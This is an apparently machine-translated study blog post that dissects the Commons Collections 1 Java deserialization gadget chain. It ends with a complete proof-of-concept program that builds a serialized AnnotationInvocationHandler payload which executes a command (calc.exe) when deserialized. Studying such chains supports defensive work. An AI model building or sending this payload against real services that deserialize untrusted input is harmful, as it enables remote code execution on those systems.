Deserialization analysis (II) -- CommonCollections1
Chain analysis
- First, create a TransformedMap, in which the second and third parameters are controllable, which will be used later
- When TransformedMap executes the put method, it will execute the transformKey and transformValue methods respectively
- It can be seen that in both methods, there is a transform method, but the parameters are uncontrollable
- Find a transform method that can trigger InvokerTransform, and it is the one that does not need to borrow external parameters
When analyzing cc chain, the biggest experience is that it can be analyzed, but I don't understand why I can think of such an excellent method? The heat is not enough
- However, if you want to execute invokeTransform, you need external transmission to control
No matter how the ChainedTransformer thinks about it, it is assumed that the previous result can be regarded as the parameter of the latter function
- That means we need to find a transform implementation class that can return the Runtime
- This class can return an object, and imap is controllable, so as long as you know the value of input, such as trick, iMap['trick '] can return a Runtime to complete the set goal (but this still depends on external parameters, but it is feasible. After that, generally, Runtime will not be passed as a key value pair, but a string will be passed, which feels a bit like finding a php chain)
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException { //Create a map with Runtime HashMap<String, Runtime> stringRuntimeHashMap = new HashMap<>(); stringRuntimeHashMap.put("Aur0ra", Runtime.getRuntime()); MapTransformer mapTransformer = (MapTransformer) MapTransformer.getInstance(stringRuntimeHashMap); //Pass it in as the first transformer class Transformer[] transformers = { mapTransformer, new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); }
Some of the data needs to be synchronized
In the end, the value of the specified key is obtained from the map. Therefore, when constructing the map and put ting, you need to pay attention to synchronization
-
It can be seen that the above can be used, but the premise is to know the content of put, which is still defective So take a look at the chain given by the official below
-
This is completely without the help of uncontrollable variables
-
The returned is an element in the class, so it is controllable and independent of the passed in parameters
public static void main(String[] args) { Transformer[] transformers = { new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); outerMap.put("name","Aur0ra"); //Any value, as long as there is a put action }
- So far, the chain of transformer map - > chainedtransformer - > constant transformer & invokertransformer has been analyzed clearly
Once again, some parts are similar to the php chain, but some of the trick s have a slightly larger jump and have no development foundation, which is difficult to understand (such as me)
Perfect into available POC
The above is just an example. POC is triggered manually. In reality, a point that will trigger automatically is needed to write the map So first find a class that contains a controllable map and has an automatically triggered deserialization point
When looking for the AnnotationInvocationHandler, it always appears that there is no import, but several jdk s have been downloaded, and they are about to give up. In the end, it is suddenly found that it is not a public class, so it cannot be imported,,, and directly integrated by import 🤮
- Possible problems encountered when serializing constructs
- Annotation invocationhandler (class <? Extends annotation > VAR1, map < string, Object > var2)
- The Runtime class does not implement the serialization interface and cannot complete serialization.
- Solution
- The <? Extensions annotation > represents the subclass that needs to be inherited, so it needs to be the class of the subclass object when passing
- Using reflection and InvokerTransformer, the Runtime is formed after deserialization. Or borrow other code execution classes
- The security mechanism is added after common collections 3.2.2. Here, I directly changed it to cc of 3.1
final
Utilization conditions
sun. reflect. Annotation. The first parameter of annotationinvocationhandler is not only a subclass of Annotation, but also has a function with the same name as the following Map
java 8u71 previous version and later versions are modified and need to be replaced
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { /** * 1.Let the Runtime generate after serialization * 2. Command execution in other ways */ /** Method method = Runtime.class.getMethod("getRuntime"); Runtime r = (Runtime) method.invoke(null); r.exec("calc.exe"); */ Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}), //Returns a Runtime new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap hashMap = new HashMap(); hashMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(hashMap, null, chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); /** * AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) * The first parameter here needs to be a subclass of Annotation */ Object o = constructor.newInstance(Retention.class, outerMap); ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("1.txt")); ous.writeObject(o); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr); objectOutputStream.writeObject(o); objectOutputStream.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); }
summary
The origin between hashMap and transformer: when adding new values, in order to have certain rules, transformation related things need to be used for transformation at this time. This is why hashMap is always associated with transform and so on
- invokeTransform -- ability to execute commands
- ConstantTransform -- does not need to rely on parameters and can return a controllable internal attribute
- chainedTransformer -- can take the result generated earlier as the subsequent parameter, similar to FilterChain